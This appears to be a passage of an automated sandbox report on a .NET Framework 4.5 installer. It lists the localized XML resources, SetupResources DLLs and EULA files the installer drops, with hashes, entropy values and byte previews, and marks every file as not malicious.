                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".D.E.U."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1031\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):30152
                  Entropy (8bit):6.062764465949319
                  Encrypted:false
                  SSDEEP:384:AA/6f3rhBRr3irpdkKQNSlvYVAdWSieWg1ae00GftpBjIGLDHRN7HNlXxH+:AthBRbIdXlvYVAIAasiyGLDxe
                  MD5:64E6C5122435204274E215212F0E0AF2
                  SHA1:073614D540A84AB8628C162CAFABDA0E0C268A18
                  SHA-256:6D5DEE6D3FB317288447A503572F606458A18B7F0A17C7B13766C4C1FDD8C2EF
                  SHA-512:265A5169A564BD9A23286DB1B3431D6FDAD082D691D8FD5D75EF98025754E9ED594649B56A76E259FCBCB498336F7362E74076818E1931868E31EDAAA6BC7B10
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........4...............................................`......$.....@.......................................... ...0...........8...=...........................................................................................text...G...........................@..@.rsrc....@... ...2..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1031\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):7331
                  Entropy (8bit):5.0780982503912115
                  Encrypted:false
                  SSDEEP:96:MWtIfVLTMDyiRcHshu9J1wdwESy/60N/ESVEPiIEStGr3U1BfPrRb0MpDKYnH4ts:WfdW9u9jwdBlixaZG3h0ObUcW2
                  MD5:A86051733AA6050C7B6D9D88565C676F
                  SHA1:B8CC392610CA53C700B41C61755F74739CDBAED2
                  SHA-256:56B163BF0CE33ECC7F8E5ED979B34B4C6E0C3D5A569D3BAD48C495CBE835DA50
                  SHA-512:FBA8CCAC6D9A9BEEEF771B170E0CA25B99C37CAA64CAAB1AADF103F630A610A625DAD23FA82689C7A4699358C5B96D05CF81A40BA743F358301DD35D0C08D5D5
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1031\b\f0\fs20 ERG\'c4NZENDE LIZENZBESTIMMUNGEN F\'dcR MICROSOFT-SOFTWARE\lang1033\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .NET FRAMEWORK 4.5 F\'dcR MICROSOFT WINDOWS-BETRIEBSSYSTEM UND ZUGEH\'d6RIGE LANGUAGE PACKS\par..\pard\nowidctlpar\sb120\sa120\lang1031\b0 Microsoft Corporation (oder eine andere Microsoft-Konzerngesellschaft, wenn diese an dem Ort, an dem Sie leben, die Software lizenziert) lizenziert diese Softwareerg\'e4nzung an Sie.\lang1033 \lang1031 Wenn Sie \'fcber eine Lizenz f\'fcr Microsoft Windows-Betriebssystemsoftware (die \'84Software\ldblquote ) verf\'fcgen, sind Sie berechtigt, diese Softwareerg\'e4nzung zu verwenden.\lang1033 \la

                  C:\02160d95efb0ac51c5e073\1032\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (524), with CRLF line terminators
                  Category:dropped
                  Size (bytes):58180
                  Entropy (8bit):4.349230658329078
                  Encrypted:false
                  SSDEEP:384:40Tp3+LoYRONOVzzVEsmXaokuCfMMmlmncyvWD73/USYVQbleaS8tMmmhxJ9JWty:Dqou9xJ9Jn
                  MD5:8ECAC4CA4CC3405929B06872E3F78E99
                  SHA1:805250D3AA16183DC2801558172633F718A839C4
                  SHA-256:B9E9740A1F29EEAF213E1E0E01F189B6BE1D8D44A2AB6DF746EEBE9CB772F588
                  SHA-512:6F681C35A38A822F4747D6D2BCACEFC49A07C9CA28A6B8EED38B8D760327419B5B469698BED37366C2480A4F118D4D36C6AE0F3C645F185E39A90FF26E749062
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".E.L.L."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1032\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):30664
                  Entropy (8bit):6.362737344379159
                  Encrypted:false
                  SSDEEP:384:JRT6dYhGf0wiLLsFXrEqRr1t5UZ4/s3JRcWrBeWK1LHB0GftpBjcp/LVDHRN7mlT:J0SG1DZ64kL/2Wi2ppDgXx
                  MD5:BD3AE187D8231EA291B184835C3A19CA
                  SHA1:41F2CAD83F95C5C058B10BA532A8D26BF56BBA6F
                  SHA-256:A88A3B797CF1395F37708FEE4002850B35F66EDA7761FD331FBB3264BBFAA06D
                  SHA-512:7459D731507163D93789B1E1118288379C8FDD9F0D501C70C4E81A41E7C5FB73A3CE7E9C891E1179B39994C937715F18F52DBBECC3809F1C5374A6D4E6658F94
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........6...............................................`.......k....@.......................................... ...3...........:...=...........................................................................................text...G...........................@..@.rsrc....@... ...4..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1032\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):18372
                  Entropy (8bit):3.8350750169031267
                  Encrypted:false
                  SSDEEP:192:6fo9tY+jR5irMWjPacoh4rXILYpwKayAejzb5uoqRTVQU4BHuTOJ7S3R/L2:dCs5iIWjPazh4sLGxrzI/4sL3Rz2
                  MD5:18E3B9A215F212B65A0C7C07C9E81C4B
                  SHA1:D304962888C7FE4737364D73A216C8D4D9EDEA9E
                  SHA-256:FCE652E81F52766DC89B0AAA7556F76040ECFC2124030C8D46A3047AF4E59931
                  SHA-512:90A3220A078652500A6FB96678625543C19C0CC6853E1747AA492528098A79B9CB2F6E65AA3730E57D29D1535EE65A2A5ED8CCD26B7F09A0D3423A66A07D2F4E
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset161 Tahoma Greek;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1032\b\f0\fs20\'d3\'d5\'cc\'d0\'cb\'c7\'d1\'d9\'cc\'c1\'d4\'c9\'ca\'cf\'c9 \'cf\'d1\'cf\'c9 \'c1\'c4\'c5\'c9\'c1\'d3 \'d7\'d1\'c7\'d3\'c7\'d3 \'cb\'cf\'c3\'c9\'d3\'cc\'c9\'ca\'cf\'d5 \'d4\'c7\'d3 MICROSOFT\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1032\f0 NET FRAMEWORK 4.5 \'c3\'c9\'c1 \'d4\'cf \'cb\'c5\'c9\'d4\'cf\'d5\'d1\'c3\'c9\'ca\'cf \'d3\'d5\'d3\'d4\'c7\'cc\'c1 MICROSOFT WINDOWS \'ca\'c1\'c9 \'d4\'c1 \'d3\'d7\'c5\'d4\'c9\'ca\'c1 \'d0\'c1\'ca\'c5\'d4\'c1 \'c3\'cb\'d9\'d3\'d3\'d9\'cd\lang1033\f1\par..\pard\nowidctlpar\sb120\sa120\lang1032\b0\f0\'c7 Microsoft Corporation (\'de \'e1\'ed\'dc\

                  C:\02160d95efb0ac51c5e073\1033\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (448), with CRLF line terminators
                  Category:dropped
                  Size (bytes):53230
                  Entropy (8bit):3.5422351624272572
                  Encrypted:false
                  SSDEEP:384:4lU5w3oqJva0+eqWa035aJInOMSJiki65qHzv:3HxESJ6b
                  MD5:24FDE6338EA1A937945C3FEB0B7B2281
                  SHA1:6B8B437CD3692207E891E205C246F64E3D81FDD5
                  SHA-256:63D37577F760339ED4E40DC699308B25217CE678CE0BE50C5F9CE540BB08E0A7
                  SHA-512:9A51C7057DE4F2EC607BB9820999C676C01C9BAF49524011BB5669225D80154119757E8EB92D1952832A6CB20EA0E7DA192B4B9DDF813FA4C2780200B3D7BA67
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t.". ./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k.". ./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5.". ./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".E.N.U.". ./.>..... . . . . . .<.T.e.x.t.

                  C:\02160d95efb0ac51c5e073\1033\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):28616
                  Entropy (8bit):6.054701093555381
                  Encrypted:false
                  SSDEEP:384:KiKoqZnLWpMeW++9E2/yVsk61LHB0GftpBjKNDHRN7NDlrlIeCJ:cZnVVl/G2WiaDN7Q
                  MD5:541D0525F83B665B9237BFE3E3483031
                  SHA1:DDC3B3DBF0524C38328B1DCBB7207E265B7D67CC
                  SHA-256:6612A68898B89BCC6F1B74C11D4EC33A4B230AB567AED78D31E0120509EF2990
                  SHA-512:BF6F131B0D26C6785991E1B4C460668E82E01FE949DBE94BD0ED4FB2BE0CC38D50DC266F03EF491F33F447B7D724E045A486410E265561B77C3205964CAB55FF
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........................................................P............@.......................................... ..@*...........2...=...........................................................................................text...G...........................@..@.rsrc...@*... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1033\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):5686
                  Entropy (8bit):5.048136973087686
                  Encrypted:false
                  SSDEEP:96:MjABLleTkvlDZSfyJpnZ1sW+cYW6US0D0KWSUj1D0v6mWSaijpmNtf8c/fQD06Wd:PvxvroCpAW+cUUS0DXWPj1DChW5ijUP1
                  MD5:12BFD31C0A7A9C1B67795D1724A164FE
                  SHA1:6611C2843BDA2F6F4EC0F7DB6F65870AC8A9ED36
                  SHA-256:88726D411F9C180F60EEDFF97AC6A09E5F3A05197835EF91C334EE50005C321B
                  SHA-512:9F2C988A227C2037E88D2D3BCA232A91BA20B3AEACAFF567F3FFA2426302CFD46176D6BFBA89A08CCEA1EF34F974C2E0F903049FC073095F38E0C7BC9698183B
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\froman\fprq2\fcharset2 Symbol;}{\f3\fswiss\fprq2\fcharset0 Calibri;}}..{\colortbl ;\red0\green0\blue255;\red0\green0\blue128;}..{\*\generator Riched20 6.2.8250}{\*\mmathPr\mnaryLim0\mdispDef1\mwrapIndent1440 }\viewkind4\uc1 ..\pard\nowidctlpar\sb120\sa120\b\f0\fs20 MICROSOFT SOFTWARE SUPPLEMENTAL LICENSE TERMS\f1\par....\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0 .NET FRAMEWORK 4.5 FOR MICROSOFT WINDOWS OPERATING SYSTEM AND ASSOCIATED LANGUAGE PACKS\f1\par....\pard\nowidctlpar\sb120\sa120\b0\f0 Microsoft Corporation (or based on where you live, one of its affiliates) licenses this supplement to you. If you are licensed to use Microsoft Windows operating system software (the \ldblquote software\rdblquote ), you may use this supplement. You may not use it if you do not have a license for the software. You may use

                  C:\02160d95efb0ac51c5e073\1035\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (442), with CRLF line terminators
                  Category:dropped
                  Size (bytes):54090
                  Entropy (8bit):3.562002872310849
                  Encrypted:false
                  SSDEEP:384:4Audpp3qYvcW/xVqezuWikhoM5LuOGxbJzOND/BiTv:ebhqMrGxbJa8
                  MD5:DE5CCB392FACE873EAE6ABC827D2D3A7
                  SHA1:50EAB784E31D1462A6E760F39751E7E238BA46A2
                  SHA-256:6638228CB95FC08EEBC9026A2978D5C68852255571941A3828D9948251CA087D
                  SHA-512:B615A69B49404D97CE0459412FBD53415DFBC1792ED95C1F1BD30F963790F3F219E028F559706E8B197CE0223A2C2D9F2E1CAC7E3B50372EBEF0D050100C6D10
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".F.I.N."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1035\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29640
                  Entropy (8bit):6.101785385158151
                  Encrypted:false
                  SSDEEP:384:a5v6v1iZJLX8TIgwWM8eWu1LHB0GftpBj3DHRN7alrlIeCb:aq1cJb8ciKWi1DMq
                  MD5:939FB6D42A665B68583F38ED259F1AEB
                  SHA1:44CCB0B3ED50CA647880BAF6BB4BD9EA6B7B6724
                  SHA-256:AE5D8D63DA4BC7F521562375358BECDA4E1E2D39C56ED28AB611388CDBF21765
                  SHA-512:EFBE43327751E7A42EE65635CE37275E59DDA78B29F963493EF8E5F2F935A2F6F2632F4B00D67E0BFCC9174345B13F69E41DE06AF7C974921D231F4962E18D54
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........2...............................................P...........@.......................................... ...............6...=...........................................................................................text...G...........................@..@.rsrc....0... ...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1035\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):7321
                  Entropy (8bit):5.068655166070548
                  Encrypted:false
                  SSDEEP:192:WfMMrJH5lmSEsbXr8U0TiGvN2HSv1BWButmLQUKO1a2:dMrZ5gNEXr8U0TiGxnWJU/2
                  MD5:596F70E3222E84753BA32EEA653C6B80
                  SHA1:E8BE810C06FF86001402223F1DC6646F0E135EBD
                  SHA-256:FDC884F4B71C65A0D65397FE55F5FB76D6ACE22C1963E23C1B3A87353508EF2C
                  SHA-512:37BBF05D8A78243912B6EF7A2892CD27E56D1B3A21D7844B3D0F53B5AEC400F2384C3C50CB64211A6B93AAB70533C28D1CE90D53DE118DC7724BFECABDD25B7B
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1035\b\f0\fs20 MICROSOFT-OHJELMISTON T\'c4YDENNYSOSAN K\'c4YTT\'d6OIKEUSSOPIMUKSEN EHDOT\lang1033\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1035 NET FRAMEWORK 4.5 MICROSOFT WINDOWS -K\'c4YTT\'d6J\'c4RJESTELM\'c4\'c4N JA SIIHEN LIITTYVIIN KIELIPAKETTEIHIN\lang1033\par..\pard\nowidctlpar\sb120\sa120\lang1035\b0 Microsoft Corporation (tai asiakkaan asuinpaikan mukaan m\'e4\'e4r\'e4ytyv\'e4 Microsoft Corporationin konserniyhti\'f6) my\'f6nt\'e4\'e4 asiakkaalle t\'e4m\'e4n t\'e4ydennysosan k\'e4ytt\'f6oikeudet.\lang1033 \lang1035 Jos asiakkaalla on Microsoft Windows -k\'e4ytt\'f6j\'e4rjestelm\'e4n (\rdblquote ohjelmisto\rdblquote ) k\'e4ytt\'f6oikeudet

                  C:\02160d95efb0ac51c5e073\1036\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (498), with CRLF line terminators
                  Category:dropped
                  Size (bytes):57108
                  Entropy (8bit):3.550682023084569
                  Encrypted:false
                  SSDEEP:384:4EupOC0EVMOTkxnv7+LRiLKc/ryLT9IpIJ90kb75+gbfyv:+kfu0IJNP/u
                  MD5:75BF2DB655CA2442AE41495E158149C9
                  SHA1:514A48371362DFA2033BA99ECAB80727F7E4B0EE
                  SHA-256:1938C4FFEDFBB7FEA0636238ABB7F8A8DB53DB62537437FF1EC0E12DCA2ABFAB
                  SHA-512:1B697D0621F47BB66D45AE85183A02EC78DD2B6458EF2B0897D5BBBD2892E15EAF90384BC351800B5D00CB0C3682DB234FAC2A75214D8ADE4748FC100B1C85B2
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".F.R.A."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1036\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):30152
                  Entropy (8bit):6.030175199035087
                  Encrypted:false
                  SSDEEP:384:4AGL6PGCMcGyXyGidxkbdWp4eWS1LHB0GftpBjwYDHRN7YNZBlXxH6RU:4AXGCVXodijuWiTD8L
                  MD5:69C54678F9B52953B2FE58A5A4F2F32F
                  SHA1:C1A151C5AFEC951E00B287AFAA2A818667CA0DCC
                  SHA-256:B55DD90F364C3CDBCA0D939B4B1FADF978C733AB868B5180ECAC47B01D93F0F8
                  SHA-512:2F3F51B6CFCCFCBA9467E1601577D2A96D1F1A27B8212272CCA3F85B6B97086C4B402C9DA2B796C5683FF2993C4671AAC55F621B2C391D75EC404F462CE4A44B
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........4...............................................`......./....@.......................................... ...1...........8...=...........................................................................................text...G...........................@..@.rsrc....@... ...2..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1036\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):6770
                  Entropy (8bit):4.963896377227065
                  Encrypted:false
                  SSDEEP:192:1fI5RMjmE3wCtrI742n5+FREkDjZjUtL9UBapvJ8KwOQP2:mi1E4K5+nEkDjNUtL9ealJ8KW2
                  MD5:E116F9034D7E7B92CB1531BE9002B684
                  SHA1:79B8F8E925632DEBEA31CAE60A97CF3AA4DA8330
                  SHA-256:5E41600887BB0756B848F22EC8C6A398103EC6480762B4EA792E45258B8510A6
                  SHA-512:84CB78CD3E6CF9725D81437F0B8D7CE977B4245E39DB17F3C541EF71B9320E26A7641ACF8501ADC71553C739027E9C780A549B2FD982572D39694BBE079A962D
                  Malicious:false
